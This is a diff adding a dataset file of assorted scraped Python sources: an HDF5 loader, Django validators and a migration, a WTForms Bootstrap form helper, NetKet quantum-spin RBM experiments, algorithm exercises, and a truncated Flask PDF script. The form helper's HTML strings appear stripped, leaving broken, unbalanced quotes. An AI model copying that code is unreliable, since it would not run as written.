diff --git "a/3526.jsonl" "b/3526.jsonl" new file mode 100644--- /dev/null +++ "b/3526.jsonl" @@ -0,0 +1,688 @@ +{"seq_id":"383308904","text":"import h5py\nimport os\nimport numpy as np\nimport json\nfrom other.config import BATCH_SIZE\nimport json\nfrom collections import defaultdict\n# import tensorflow as tf\n\ndef read_hdf5(hdf5_path, ann_path, is_debug):\n h = h5py.File(hdf5_path)\n c = read_captions(ann_path)\n # ann_list = os.listdir(ann_path)\n # ann_ids = []\n # [ann_ids.append(int(id[15:-4])) for id in ann_list]\n\n\n names = []\n embeddings = [] # 每个image有5条embedding\n captions = []\n\n h_items = h.items()\n cnt = 0\n total = BATCH_SIZE if is_debug else len(h_items)\n for hh in h_items:\n # id = int(hh[0][15:-4])\n # if ann_ids.count(id)<1:\n # continue\n names.append(hh[0])\n embeddings.append(np.array(hh[1])[0:5]) # 注意!有一个图片对应了6个caption,导致封装np.array的时候出错!\n captions.append(c[hh[0]][0:5])\n cnt+=1\n if cnt>=total:\n print('read_hdf5 finished. Total: %d'%cnt)\n break\n return names, np.array(embeddings), captions\n\n# JSON_PATH = \"/data/bo718.wang/+zhaowei/data/516data/mscoco/annotations/captions_train2014.json\"\n# SEG_PATH = \"/data/bo718.wang/zhaowei/data/516data/mscoco/train2014/mask\"\n# IMG_PATH = \"/data/bo718.wang/zhaowei/data/516data/mscoco/train2014/train2014\"\n# HDF5_PATH = \"/data/rui.wu/CZHH/Dataset_COCO/COCO_VSE_torch/COCO_vse_torch_train.hdf5\"\n\n# read_hdf5(HDF5_PATH,JSON_PATH,True)\n\n\ndef read_captions(json_path):\n image_captions = defaultdict(list)\n with open(json_path) as f:\n ic_data = json.load(f)\n for idx in range (0, len(ic_data['annotations'])):\n img_path = 'COCO_%s2014_%.12d.jpg'%('train', ic_data['annotations'][idx]['image_id'])\n image_captions[img_path].append(ic_data['annotations'][idx]['caption'])\n\n return image_captions","sub_path":"data_input/read_hdf5.py","file_name":"read_hdf5.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"501851626","text":"import re\r\n\r\nfrom django.contrib.auth import get_user_model\r\nfrom django.core.exceptions import ValidationError\r\nfrom django.utils.translation import ugettext_lazy as _\r\n\r\nUser = get_user_model()\r\n\r\n\r\ndef validate_unique_user(error_message, **criteria):\r\n existent_user = User.objects.filter(**criteria).exists()\r\n if existent_user:\r\n raise ValidationError(error_message)\r\n\r\n\r\ndef validate_username_chars(username):\r\n if not username.isalnum():\r\n raise ValidationError(\r\n _('Username \"%(username)s\" cannot contain invalid characters'),\r\n code='invalid_chars_username',\r\n params={'username': username},\r\n )\r\n\r\ndef validate_phone_number(phone_number):\r\n match_pattern = re.match(r'^\\+?\\d{9,15}$', phone_number)\r\n if not match_pattern:\r\n raise ValidationError(\r\n _('Invalid phone number'),\r\n code='invalid_phone_number',\r\n )","sub_path":"src/sleekapps/users/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550784429","text":"from wtforms.fields.core import UnboundField\n\n\nclass FormHelperBS3(object):\n\n def render_field(self, field, **kwargs):\n # begin the frag\n frag = \"\"\n\n # deal with the first error if it is relevant\n first_error = kwargs.pop(\"first_error\", False)\n if first_error:\n frag += ''\n\n # call the correct render function on the field type\n if field.type == \"FormField\":\n frag += self._form_field(field, **kwargs)\n elif field.type == \"FieldList\":\n frag += self._field_list(field, **kwargs)\n else:\n frag += self._wrap_control_group(field, self._render_field(field, **kwargs), **kwargs)\n\n return frag\n\n def _wrap_control_group(self, field, contents, **kwargs):\n hidden = kwargs.pop(\"hidden\", False)\n container_class = kwargs.pop(\"container_class\", None)\n disabled = kwargs.pop(\"disabled\", False)\n render_subfields_horizontal = kwargs.pop(\"render_subfields_horizontal\", False)\n complete_me = kwargs.get(\"complete_me\", False)\n\n frag = '
\"\n if contents is not None:\n frag += contents\n frag += \"
\"\n\n return frag\n\n def _form_field(self, field, **kwargs):\n # get the useful kwargs\n render_subfields_horizontal = kwargs.pop(\"render_subfields_horizontal\", False)\n\n frag = \"\"\n # for each subfield, do the render\n for subfield in field:\n if render_subfields_horizontal and not (subfield.type == 'CSRFTokenField' and not subfield.value):\n subfield_width = \"3\"\n remove = []\n for kwarg, val in kwargs.items():\n if kwarg == 'subfield_display-' + subfield.short_name:\n subfield_width = val\n remove.append(kwarg)\n for rm in remove:\n del kwargs[rm]\n frag += '
'\n frag += self._render_field(subfield, maximise_width=True, **kwargs)\n frag += \"
\"\n else:\n frag += self._render_field(subfield, **kwargs)\n\n return self._wrap_control_group(field, frag, **kwargs)\n\n def _field_list(self, field, **kwargs):\n # for each subfield, do the render\n frag = \"\"\n for subfield in field:\n if subfield.type == \"FormField\":\n frag += self.render_field(subfield, **kwargs)\n else:\n frag = self._wrap_control_group(field, self._render_field(field, **kwargs), **kwargs)\n return frag\n\n def _render_field(self, field, **kwargs):\n # interesting arguments from keywords\n extra_input_fields = kwargs.get(\"extra_input_fields\")\n q_num = kwargs.pop(\"q_num\", None)\n maximise_width = kwargs.pop(\"maximise_width\", False)\n clazz = kwargs.get(\"class\", \"\")\n label_width = kwargs.get(\"label_width\", 3)\n field_width = 12 - label_width\n field_width = str(kwargs.get(\"field_width\", field_width))\n if label_width > 0:\n label_width = str(label_width)\n\n if field.type == 'CSRFTokenField' and not field.value:\n return \"\"\n\n frag = \"\"\n\n # If this is the kind of field that requires a label, give it one\n if field.type not in ['SubmitField', 'HiddenField', 'CSRFTokenField']:\n if q_num is not None:\n frag += ''\n if label_width != 0:\n frag += '\"\n\n # determine if this is a checkbox\n is_checkbox = False\n if (field.type == \"SelectMultipleField\"\n and field.option_widget.__class__.__name__ == 'CheckboxInput'\n and field.widget.__class__.__name__ == 'ListWidget'):\n is_checkbox = True\n\n extra_class = \"\"\n if is_checkbox:\n extra_class += \" checkboxes\"\n\n frag += '
'\n if field.type == \"RadioField\":\n for subfield in field:\n frag += self._render_radio(subfield, **kwargs)\n elif is_checkbox:\n frag += '\"\n else:\n if maximise_width:\n clazz += \" col-xs-12\"\n kwargs[\"class\"] = clazz\n render_args = {}\n # filter anything that shouldn't go in as a field attribute\n for k, v in kwargs.items():\n if k in [\"class\", \"style\", \"disabled\"] or k.startswith(\"data-\"):\n render_args[k] = v\n frag += field(**render_args) # FIXME: this is probably going to do some weird stuff\n\n # FIXME: field.value isn't always set\n #if field.value in extra_input_fields.keys():\n # extra_input_fields[field.value](**{\"class\" : \"extra_input_field\"})\n\n if field.errors:\n frag += '
\"\n\n if field.description:\n frag += '

' + field.description + '

'\n\n frag += \"
\"\n return frag\n\n def _render_radio(self, field, **kwargs):\n extra_input_fields = kwargs.pop(\"extra_input_fields\", {})\n # label_width = str(kwargs.get(\"label_width\", 3))\n label_width = \"12\"\n\n frag = '\"\n return frag\n\n def _render_checkbox(self, field, **kwargs):\n extra_input_fields = kwargs.pop(\"extra_input_fields\", {})\n # label_width = str(kwargs.get(\"label_width\", 3))\n\n frag = \"
  • \"\n frag += field(**kwargs)\n frag += ''\n\n if field.label.text in list(extra_input_fields.keys()):\n eif = extra_input_fields[field.label.text]\n if not isinstance(eif, UnboundField):\n frag += \" \" + extra_input_fields[field.label.text](**{\"class\" : \"extra_input_field\"})\n\n frag += \"
  • \"\n return frag\n","sub_path":"portality/formcontext/formhelper.py","file_name":"formhelper.py","file_ext":"py","file_size_in_byte":7937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"487727362","text":"n,c = map(int,input().split())\na = []\nfor _ in range(n):\n a.append(int(input()))\na.sort()\nleft = 0\nright = a[-1] - a[0]\nans = -1\nwhile left<=right:\n x = (left+right)//2\n cnt = 1\n cur = 0\n for i in range(1,n):\n if a[i] - a[cur] >= x:\n cnt+=1\n cur = i\n if cnt >=c:\n ans = x\n left = x+1\n else:\n right = x-1\nprint(ans)\n\n","sub_path":"Silver1/공유기 설치.py","file_name":"공유기 설치.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"49491361","text":"import multiprocessing as mp\nimport json\nimport os\nfrom qutip import *\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn')\nfrom matplotlib import gridspec\nimport itertools\nfrom numpy.random import seed\nfrom scipy import optimize\nfrom functools import wraps\nimport time\nimport netket as nk\nfrom netket.operator import local_values as _local_values\nfrom netket._core import deprecated\nfrom netket.stats import (\n statistics as _statistics,\n mean as _mean,\n)\nimport copy\nimport pickle\nfrom pickle import load, dump\nimport collections\nfrom collections import OrderedDict\n\n\n# Wrapper to time functions\ndef timing(f):\n @wraps(f)\n def wrap(*args, **kw):\n ti = time.time()\n result = f(*args, **kw)\n tf = time.time()\n t = tf - ti\n return result, t\n\n return wrap\n\n# Make basis and get sz values\ndef operatorCreation(N):\n # operator definitionis\n si = qeye(2)\n sx = 0.5 * sigmax()\n sy = 0.5 * sigmay()\n sz = 0.5 * sigmaz()\n sx_list = []\n sy_list = []\n sz_list = []\n for n in range(N):\n op_list = []\n for m in range(N):\n op_list.append(si)\n op_list[n] = sx\n sx_list.append(tensor(op_list))\n op_list[n] = sy\n sy_list.append(tensor(op_list))\n op_list[n] = sz\n sz_list.append(tensor(op_list))\n op_list[n] = si\n id = tensor(op_list)\n return sx_list, sy_list, sz_list, id\n\n# Construct Hamiltonian\ndef hamiltonian(N, B, A0):\n sx_list = operatorCreation(N)[0]\n sy_list = operatorCreation(N)[1]\n sz_list = operatorCreation(N)[2]\n H = B * sz_list[0]\n for n in range(N - 1):\n H += A0 * sz_list[0] * sz_list[n + 1] + A0 * sx_list[0] * sx_list[n + 1] + A0 * sy_list[0] * sy_list[n + 1]\n return H\n\n# Get Ground State Energy and Wavefuntion\nclass GroundState:\n def __init__(self, N, B, A0):\n self.hamiltonian = hamiltonian(N, B, A0)\n @timing\n def __call__(self):\n # find ground state\n H = self.hamiltonian\n groundState = H.groundstate()\n return groundState[0], groundState[1]\n\n# Make basis and get sz values\ndef basisCreation(N):\n sz_list = operatorCreation(N)[2]\n Sbasis = []\n basisState = []\n for j in range(2):\n basisState.append(basis(2, j))\n b = itertools.product(basisState, repeat=N)\n basisTensor = list(b)\n # makes Sbasis the correct dimesion of Qobj\n for i in range(2 ** N):\n c = basisTensor[i][0]\n for j in range(N - 1):\n c = tensor(c, basisTensor[i][j + 1])\n Sbasis.append(c)\n # get sz values for basis states\n sz = np.zeros((2 ** N, N), dtype=complex)\n a = [[1 for j in range(N)] for i in range(2 ** N)]\n for i in range(2 ** N):\n for j in range(N):\n # matrix element \n sz[i][j] = sz_list[j].matrix_element(Sbasis[i], Sbasis[i])\n return Sbasis, sz\n\n# get randomized RBM parameters (between zero and 1)\ndef ranRBMpar(N, M):\n np.random.seed(int.from_bytes(os.urandom(4), byteorder='little'))\n par = 1 - 2 * np.random.rand(2 * (N + M + N * M))\n return par\n\n# Function to give RBM wavefuntion\ndef RBM_ansatz(par, N, M,basis):\n Sbasis = basis[0]\n sz = basis[1]\n # make parmeters complex\n num = N + M + N * M\n parC = np.vectorize(complex)(par[:num], par[num:])\n a = parC[:N]\n b = parC[N:N + M]\n W = parC[N + M:].reshape(M, N)\n expTerm = np.zeros(2 ** N, dtype=complex)\n coshTerm = np.zeros((M, 2 ** N), dtype=complex)\n psiMValues = np.zeros(2 ** N, dtype=complex)\n psiM = 0 * Sbasis[0]\n\n for i in range(2 ** N):\n for m in range(M):\n coshTerm[m][i] = 2 * np.cosh(np.dot(W[m], sz[i]) + b[m])\n hidProduct = np.prod(coshTerm, axis=0)\n\n for i in range(2 ** N):\n expTerm[i] = np.exp(np.dot(a, sz[i]))\n psiMValues[i] = expTerm[i] * hidProduct[i]\n psiM += psiMValues[i] * Sbasis[i]\n psiNorm = psiM.unit()\n return psiNorm\n\n# Error Calculation\ndef err(found_gs, gs, found_gsEnergy, gsEnergy):\n engErr = np.abs(found_gsEnergy - gsEnergy)\n waveFunctionErr = found_gs.dag() * gs\n waveFunctionErr = 1 - waveFunctionErr.norm()\n return engErr, waveFunctionErr\n\n\n# **** NetKet RBM ****\n\n#Central Spin Hamiltonian and Hilbert space defined in NetKet objects\ndef hamiltonianNetKet(N, B, A):\n # Make graph with no edges of length N\n #g = nk.graph.Edgeless(N)\n g = nk.graph.Hypercube(length=N, n_dim=1, pbc=False)\n # Spin based Hilbert Space\n hi = nk.hilbert.Spin(s=0.5, graph=g)\n # Define sigma matrices\n sigmaz = -0.5 * np.array([[1, 0], [0, -1]])\n sigmax = 0.5 * np.array([[0, 1], [1, 0]])\n sigmay = -0.5 * np.array([[0, -1j], [1j, 0]])\n operators = []\n sites = []\n\n # Central spin term\n operators.append((B * sigmaz).tolist())\n sites.append([0])\n # Iteraction term\n itOp = np.kron(sigmaz, sigmaz) + np.kron(sigmax, sigmax) + np.kron(sigmay, sigmay)\n for i in range(N - 1):\n operators.append((A * itOp).tolist())\n sites.append([0, (i+1)])\n\n print('sites: ', sites)\n print('operators: ', operators)\n ha = nk.operator.LocalOperator(hi, operators=operators, acting_on=sites)\n res = nk.exact.lanczos_ed(ha, first_n=1, compute_eigenvectors=False)\n print(\"NetLEt ground state energy = {0:.3f}\".format(res.eigenvalues[0]))\n #Returns Hamiltonian and Hilbert space\n return ha, hi\n\n# Sampler\ndef samplingNetKet(n_samples, sampler, hamiltonian):\n n_discard = 0.1*n_samples\n batch_size = sampler.sample_shape[0]\n print(batch_size)\n n_samples_chain = int(np.ceil((n_samples / batch_size)))\n n_samples_node = int(np.ceil(n_samples_chain / nk.MPI.size()))\n # Burnout phase\n for _ in sampler.samples(n_discard):\n pass\n sam = np.ndarray((n_samples_node, batch_size, hamiltonian.hilbert.size))\n # Generate samples and store them\n for i, sample in enumerate(sampler.samples(n_samples_node)):\n sam[i] = sample\n return sam\n\n\n# Calculates Local energy of samples\ndef energyLocalNetKet(par, N, M, H, basis, v):\n v = v.dag()\n psiM = RBM_ansatz(par, N, M, basis)\n E = v*H*psiM\n norm = v.overlap(psiM)\n Enorm = E/norm\n return Enorm.full()[0][0]\n\n# Exact Digonalization NetKet\ndef exactDigonalization(ha):\n haMatrix = ha.to_dense()\n e, v = np.linalg.eigh(haMatrix)\n inds = np.argsort(e)\n e = e[inds]\n v = v[:, inds]\n return e, v\n\n# Define Netket RBM\nclass NetKetRBM:\n def __init__(self,N,ha,hi,alpha, ma):\n self.ha,self.hi, self.ma = ha, hi, ma\n self.N = N\n # Define sampler\n self.sa = nk.sampler.MetropolisLocal(machine=self.ma)\n # Optimizer\n self.op = nk.optimizer.Sgd(learning_rate=0.05)\n\n def __call__(self,basis):\n gs = nk.Vmc(\n hamiltonian=self.ha,\n sampler=self.sa,\n optimizer=self.op,\n n_samples=1000,\n n_discard=None,\n sr=None,\n )\n start = time.time()\n gs.run(output_prefix='RBM', n_iter=600)\n end = time.time()\n runTime = end-start\n # import the data from log file\n data = json.load(open(\"../RBM.log\"))\n # Extract the relevant information\n iters = []\n energy_RBM = []\n\n for iteration in data[\"Output\"]:\n iters.append(iteration[\"Iteration\"])\n engTemp = iteration[\"Energy\"][\"Mean\"]\n energy_RBM.append(engTemp)\n finalEng = energy_RBM[-1]\n # Create GS Vector\n maArray = self.ma.to_array()\n finalState = maArray[3] * basis[0][0] + maArray[2] * basis[0][1] + maArray[1] * basis[0][2] + maArray[0]*basis[0][3]\n return finalEng, finalState, runTime\n\nclass NetKetSR:\n def __init__(self, N, ha, hi, alpha, ma):\n self.ha, self.hi, self.ma = ha, hi, ma\n self.N = N\n # Define sampler\n self.sa = nk.sampler.MetropolisLocal(machine=self.ma)\n # Optimizer\n self.op = nk.optimizer.Sgd(learning_rate=0.05)\n\n def __call__(self, basis):\n gs = nk.variational.Vmc(hamiltonian=self.ha,\n sampler=self.sa,\n optimizer=self.op,\n n_samples=1000,\n use_iterative=True,\n method='Sr')\n start = time.time()\n gs.run(output_prefix='RBM', n_iter=600)\n end = time.time()\n runTime = end - start\n # import the data from log file\n data = json.load(open(\"../RBM.log\"))\n # Extract the relevant information\n iters = []\n energy_RBM = []\n\n for iteration in data[\"Output\"]:\n iters.append(iteration[\"Iteration\"])\n engTemp = iteration[\"Energy\"][\"Mean\"]\n energy_RBM.append(engTemp)\n finalEng = energy_RBM[-1]\n # Create GS Vector\n maArray = self.ma.to_array()\n finalState = 0\n for i in range(2 ** self.N):\n finalState += maArray[2 ** self.N - i - 1] * basis[0][i]\n return finalEng, finalState, runTime\n\n# Change RBM parameters to netKet RBM paramters, and loads machine\ndef covertParams(N,M,par, ma):\n # Change to a,b,w\n num = N + M + N * M\n parC = np.vectorize(complex)(par[:num], par[num:])\n a = parC[:N]\n a = [0.5 * x for x in a]\n b = parC[N:N + M]\n w = parC[N + M:].reshape(M, N)\n w = [0.5 * x for x in w]\n w = np.array(w).T\n rbmOrderedDict = OrderedDict([('a', a), ('b', b), ('w', w)])\n # Save parameters so they can be loaded into the netket machine\n with open(\"../../../Data/07-28-20/paramsGS.json\", \"wb\") as output:\n dump(rbmOrderedDict, output)\n # Load into ma\n ma.load(\"Data/07-28-20/paramsGS.json\")\n\n\n\n# Hamiltionian Parameters\nB=1\nA=1\nN = 2\n# RBM Parameters\n# ALPHA NEEDS TO BE AN INTEGER!!!\nalpha = 1\nM = alpha*N\nbasis = basisCreation(N)\n\nH = hamiltonian(N,B,A)\n\n# ** NETKET OBJECTS ***\nha,hi = hamiltonianNetKet(N, B, A)\n# Define machine\nma = nk.machine.RbmSpin(alpha = alpha, hilbert=hi, use_visible_bias = True, use_hidden_bias = True)\n# Define sampler\nsa = nk.sampler.MetropolisLocal(machine=ma, n_chains=20)\n\n# Exact Diagonalization\ngroundState = GroundState(N, B, A)\ned = groundState()\nedEng = ed[0][0]\nedState = ed[0][1]\nprint('Ground State: ', edState)\n\n# # Histogram All\nhisIt = np.arange(1)\nengErrNK = []\nstateErrNK = []\nrunTimeNK = []\nengErrSR = []\nstateErrSR = []\nrunTimeSR = []\nparams = []\n\n\nfor i in range(len(hisIt)):\n # Create RBM Parameters\n randomParams = ranRBMpar(N, M)\n print(randomParams)\n params.append(randomParams.tolist())\n # Update NetKet machine with randomParams\n covertParams(N, M, randomParams, ma)\n maArray = ma.to_array()\n finalState = 0\n for i in range(2 ** N):\n finalState += maArray[2 ** N - i - 1] * basis[0][i]\n\n # NK Run\n rbmNK = NetKetRBM(N, ha, hi, alpha, ma)\n engNKTemp, stateNKTemp, runTimeNKTemp = rbmNK(basis)\n print('NK State ', stateNKTemp)\n E = expect(H, stateNKTemp)\n norm = stateNKTemp.norm() ** 2\n Enorm = E / norm\n print('NK Energy From State ', Enorm )\n print('NK Energy', engNKTemp)\n runTimeNK.append(runTimeNKTemp)\n errNK = err(stateNKTemp, edState, engNKTemp, edEng)\n engErrNK.append(errNK[0])\n stateErrNK.append(errNK[1])\n\n # NK Run\n rbmSR = NetKetSR(N, ha, hi, alpha, ma)\n engSRTemp, stateSRTemp, runTimeSRTemp = rbmSR(basis)\n runTimeSR.append(runTimeSRTemp)\n errSR = err(stateSRTemp, edState, engSRTemp, edEng)\n engErrSR.append(errSR[0])\n stateErrSR.append(errSR[1])\n\n\n# Save data to JSON file\ndata = [engErrNK,engErrSR, stateErrNK, stateErrSR, runTimeNK,runTimeSR]\nfileName = \"Data/07-28-20/NetKetN\"+str(N)+\"M\" + str(M)+\"B\"+str(B)+\".json\"\nopen(fileName, \"w\").close()\nwith open(fileName, 'a') as file:\n for item in data:\n line = json.dumps(item)\n file.write(line + '\\n')\n\n# Save RBM Paramarers data to JSON file\ndata = params\nfileName = \"Data/07-28-20/ParamsN\"+str(N)+\"M\" + str(M)+\"B\"+str(B)+\".json\"\nopen(fileName, \"w\").close()\nwith open(fileName, 'a') as file:\n for item in data:\n line = json.dumps(item)\n file.write(line + '\\n')\n\n# Plotting\nallEngErr = [engErrNK,engErrSR]\nallStateErr = [stateErrNK,stateErrSR]\nallRunTime = [ runTimeNK, runTimeSR]\nlabels = ['Gradient Descent','Stochastic Reconfiguration']\ncolors = ['blue', 'green']\n\nhisIt= np.arange(len(engErrNK))\n#plt.figure(constrained_layout=True)\nplt.figure(figsize=(10,10))\nttl = plt.suptitle(\"Comparison of NetKet and Non-NetKet RBM \\n N = \" + str(N)+\", B = \"+str(B)+\", M = \" + str(M),size =20)\ngs = gridspec.GridSpec(ncols=3, nrows=3, hspace = 0.4)\nttl.set_position([.5, 0.94])\n\nax1 = plt.subplot(gs[0, 0])\nax1.hist(allEngErr, bins=10, color = colors, label=labels)\nax1.set_xlabel(\"$\\Delta E = |E_{RBM}-E_{ED}|$\",size = 15)\n\nax2 = plt.subplot(gs[0, 1])\nax2.hist(allStateErr, bins=10, color = colors, label=labels)\nax2.set_xlabel(\"$1-|<\\Psi_{RBM}|\\Psi_{ED}>|^2$\",size = 15)\n\nax3 = plt.subplot(gs[0, 2])\nax3.hist(allRunTime, bins=10, color = colors)\nax3.set_xlabel(\"Runtime (s)\",size = 15)\n\nax4 = plt.subplot(gs[1, :])\nax4.scatter(hisIt,engErrNK, color = 'blue')\nax4.scatter(hisIt,engErrSR, color = 'green',marker = '>')\nax4 .set_ylabel(\"$\\Delta E = |E_{RBM}-E_{ED}|$\", size = 15)\n\nax1.legend(labels, loc = (0, -3.3),fontsize = 12,ncol=3)\n\nax5 = plt.subplot(gs[2, :])\nax5.scatter(hisIt,runTimeNK, color = 'blue')\nax5.scatter(hisIt,runTimeSR, color = 'green',marker = '>')\nax5.set_xlabel(\"Run Number\",size = 15)\nax5 .set_ylabel(\"Runtime (s)\", size = 15)\nplt.show()\n\n\n# PLOT ONE RUN\n#\n#\n# # Create RBM Parameters\n# randomParams = ranRBMpar(N, M)\n# # Update NetKet machine with randomParams\n# covertParams(N, M, randomParams, ma)\n#\n# # Exact Diagonalization\n# groundState = GroundState(N, B, A)\n# ed = groundState()\n# edEng = ed[0][0]\n# edState = ed[0][1]\n#\n#\n# # NetKet Run\n# rbmNK = NetKetRBM(N, ha, hi, alpha, ma)\n# engNK, stateNK, runTimeNK= rbmNK(basis)\n# print('Eng, State, Runtime ', engNK, stateNK, runTimeNK)\n# errNK = err(stateNK,edState,engNK,edEng)\n# print('eng error: ', errNK[0])\n# print('state error: ', errNK[1])\n#\n#\n# # Get iteration information\n# data = json.load(open(\"RBM.log\"))\n# iters = []\n# energy_RBM = []\n# for iteration in data[\"Output\"]:\n# iters.append(iteration[\"Iteration\"])\n# engTemp = iteration[\"Energy\"][\"Mean\"]\n# energy_RBM.append(engTemp)\n#\n# # Plot Iteration\n# fig, ax1 = plt.subplots()\n# plt.title('NetKet Central Spin Iteration N = 3, M = 3, B = 1, A = 1 ', size=20)\n# ax1.plot(iters, energy_RBM - exact_gs_energy, color='red', label='Energy (RBM)')\n# ax1.set_ylabel('Energy Error')\n# #ax1.set_ylim(0,1.5)\n# ax1.set_xlabel('Iteration')\n# #plt.axis([0,iters[-1],exact_gs_energy-0.03,exact_gs_energy+0.2])\n# plt.show()","sub_path":"Deprecated/NetKet2/NetKet_Testing/NetKetScaling.py","file_name":"NetKetScaling.py","file_ext":"py","file_size_in_byte":14760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"40476791","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('administracion', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Localidad',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('nombre', models.CharField(max_length=200)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='cliente',\n name='contacto',\n field=models.CharField(max_length=200, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='cliente',\n name='contacto_a',\n field=models.CharField(max_length=200, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='cliente',\n name='direccion',\n field=models.CharField(max_length=200, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='cliente',\n name='localidad',\n field=models.ForeignKey(to='administracion.Localidad', null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='cliente',\n name='telefono',\n field=models.CharField(max_length=20, null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='cliente',\n name='telefono_a',\n field=models.CharField(max_length=20, null=True),\n preserve_default=True,\n ),\n ]\n","sub_path":"administracion/migrations/0002_auto_20140917_1322.py","file_name":"0002_auto_20140917_1322.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"162261635","text":"\"\"\"\nExample\nGiven a binary search tree:\n\n 4\n / \\\n 2 5\n / \\\n1 3\nreturn 1<->2<->3<->4<->5\n\"\"\"\n\"\"\"\nDefinition of Doubly-ListNode\nclass DoublyListNode(object):\n def __init__(self, val, next=None):\n self.val = val\n self.next = self.prev = nextDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param root: The root of tree\n @return: the head of doubly list node\n \"\"\"\n def bstToDoublyList(self, root):\n # write your code here\n dfs = []\n self.inorder(root, dfs)\n if len(dfs) == 0:\n return None\n\n head = None\n prev = None\n for val in dfs:\n node = DoublyListNode(val)\n if head is None:\n head = node\n else:\n prev.next = node\n node.prev = prev\n prev = node\n\n return head\n\n\n # Left middle right\n def inorder(self, root, dfs):\n if root is None:\n return\n self.inorder(root.left, dfs)\n dfs.append(root.val)\n self.inorder(root.right, dfs)\n","sub_path":"daily challenge/7.Convert Binary Search Tree to Doubly Linked List.py","file_name":"7.Convert Binary Search Tree to Doubly Linked List.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"125211163","text":"'''------------------------------------------------------------------------------------------------\nProgram: config\nVersion: 0.0.4\nPy Ver: 2.7\nPurpose: Small helper program designed to load a program's config\n file.\n\nDependents: os\n sys\n json\n\nDeveloper: J. Berendt\nEmail: support@73rdstreetdevelopment.co.uk\n\nUse: >>> import utils.config\n >>> CONFIG = config.loadconfig()\n\n---------------------------------------------------------------------------------------------------\nUPDATE LOG:\nDate Programmer Version Update\n02.10.16 J. Berendt 0.0.1 Written\n29.11.16 J. Berendt 0.0.2 New loadconfig parameters:\n - filename (default=config.json)\n - devmode (default=False)\n Added docstring to program.\n Added error handling if the config file does not exist.\n Cleaned code to confirm to PEP8. pylint (10/10)\n - WARNING: This will break programs currently using\n this module!\n22.03.17 J. Berendt 0.0.3 Added a test to determine if the filename is a path,\n or filename only. If full path, the devmode / path\n deciphering is bypassed.\n This allows a calling program to pass in a full path to\n the config file, without it being altered.\n14.05.17 J. Berendt 0.0.4 Updated to sit within the utils library.\n Incomplete code warning: added filename parameter to\n the os.path.dirname check.\n Simplified __fromjson function. pylint (10/10)\n Renamed function/method names to replace double leading\n underscore with single underscore.\n------------------------------------------------------------------------------------------------'''\n\nimport os\nimport sys\nimport json\nfrom _version_config import __version__\n\n#-----------------------------------------------------------------------\n#METHOD FOR GENERAL SETUP\ndef loadconfig(filename='config.json', devmode=False):\n\n '''\n DESIGN:\n Function designed to load and return a program's JSON config file\n as a dictionary.\n\n The devmode parameter can be used if you are programming through an\n IDE which defaults the sys.argv[0] value to the cwd of the IDE,\n rather than from where the program is actually being run.\n It just makes design and debugging easier.\n\n PREREQUESITES / ASSUMPTIONS:\n - The config file is a JSON file\n - The config file lives in the program directory\n\n USE:\n > import utils.config as config\n > c = config.loadconfig()\n\n > param_value = c['someparam_name']\n '''\n\n #TEST IF FULL PATH OR ONLY FILENAME WAS PASSED\n if os.path.dirname(filename) == '':\n\n #TEST PROGRAM MODE\n if devmode:\n\n #STORE PROGRAM DIRECTORY\n path_base = os.getcwd()\n\n else:\n\n #ASSIGN DIRECTORIES\n progdir = os.path.dirname(os.path.realpath(sys.argv[0]))\n curdir = os.getcwd()\n\n #TEST AND STORE PROGRAM DIRECTORY\n path_base = progdir if sys.argv[0] != '' else curdir\n\n #CONSOLIDATE PATH AND FILENAME\n fullpath = os.path.join(path_base, filename)\n\n else:\n\n #ASSIGN PASSED PATH/FILENAME TO TESTED VARIABLE\n fullpath = filename\n\n\n #TEST IF THE FILE EXISTS\n if os.path.exists(fullpath):\n\n #LOAD CONFIG FILE\n return _fromjson(filepath=fullpath)\n\n else:\n\n #USER NOTIFICATION\n raise UserWarning('The config file (%s) could not be found.' % (fullpath))\n return None\n\n\n#-----------------------------------------------------------------------\n#FUNCTION FOR READING THE CONFIG FILE INTO A DICTIONARY\ndef _fromjson(filepath):\n\n #OPEN AND READ CONFIG FILE >> RETURN AS DICT\n with open(filepath, 'r') as config: return json.load(config)\n","sub_path":"utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"546397634","text":"from flask import Flask, render_template, request, make_response, send_file, send_from_directory, abort\r\nfrom fpdf import FPDF, HTMLMixin #para el pdf\r\nfrom datetime import date\r\nfrom fpdf import FPDF, HTMLMixin\r\n\r\ndef generadorPeticion():\r\n\r\n modHTML = open(\"./templates/form_peticion.html\",\"w\")\r\n modHTML.write(\r\n \"\"\"\r\n{%extends 'layout.html'%} \r\n{%block content%}\r\n\r\n\r\n\r\n

